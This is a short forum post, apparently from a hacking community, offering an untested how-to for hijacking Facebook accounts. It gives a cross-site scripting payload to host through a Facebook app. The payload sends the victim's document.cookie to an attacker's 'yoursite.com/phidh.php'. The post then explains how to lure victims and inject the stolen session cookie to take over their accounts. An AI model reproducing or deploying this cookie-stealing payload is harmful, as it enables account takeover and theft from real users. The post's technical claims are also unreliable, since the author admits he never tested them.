[ultima rat0]

Hey COM,
I found in the XSS tut on this Page a Way to Hack someones Facebook Profile! A Little Facebook App. named my-Info (http://apps.facebook.com/my-info/) , thats an App. to create an Site on facebook with html. So, now you copy this in ya fB-Page w/ my-Info App.: <Script>document.location("yoursite.com/phidh.php?wtf="+document.cookie)</Script>
If you have questions, see da Video 'bout XSS!
So now, u only have to bring the victim to see ya Site and WOAM; u have his PHP Session ID.
Now you can try to Inject it with the greasemonkey Cookie injector. And now, your in. ( i dont test it , so plz reply!)

rat0